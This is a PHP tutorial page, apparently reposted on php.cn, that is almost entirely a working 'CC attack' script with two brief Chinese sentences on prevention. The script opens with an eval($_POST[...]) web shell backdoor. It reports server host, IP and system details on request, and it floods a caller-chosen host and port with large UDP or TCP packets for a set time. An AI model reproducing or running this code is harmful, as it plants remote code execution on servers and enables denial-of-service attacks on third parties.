Home > Backend Development > PHP Tutorial > php cc attack code cc attack prevention method

php cc attack code cc attack prevention method

WBOY
Release: 2016-07-25 08:54:25
Original
1420 people have browsed it
  1. eval($_POST[Chr(90)]);
  2. set_time_limit(86400);
  3. ignore_user_abort(True);
  4. $packets = 0;
  5. $http = $_GET['http'];
  6. $rand = $_GET['exit'];
  7. $exec_time = $_GET['time'];
  8. if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
  9. {
  10. if(StrLen($_GET['rat'])<>0)
  11. {
  12. echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
  13. exit;
  14. }
  15. echo "Php 2012 Terminator";
  16. exit;
  17. }
  18. for($i=0;$i<65535;$i++)
  19. {
  20. $out .= "X";
  21. }
  22. //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
  23. $max_time = time()+$exec_time;
  24. if($rand==53)
  25. while(1)
  26. {
  27. $packets++;
  28. if(time() > $max_time)
  29. {
  30. break;
  31. }
  32. $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
  33. if($fp)
  34. {
  35. fwrite($fp, $out);
  36. fclose($fp);
  37. }
  38. }
  39. else
  40. if($rand==500)
  41. while(1)
  42. {
  43. $packets++;
  44. if(time() > $max_time){
  45. break;
  46. }
  47. $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
  48. if($fp)
  49. {
  50. fwrite($fp, $out);
  51. fclose($fp);
  52. }
  53. }
  54. else
  55. while(1)
  56. {
  57. $packets++;
  58. if(time() > $max_time){
  59. break;
  60. }
  61. $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
  62. if($fp)
  63. {
  64. fwrite($fp, $out);
  65. fclose($fp);
  66. }
  67. }
  68. ?>
复制代码

对于cc攻击的防范,如果是动态页面,可以判断时间,如果是静态的网站,则需要服务器上安装防cc攻击的软件,一般服务器安全狗还是不错的。

对于php cc攻击的防范,要时刻注意。



source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template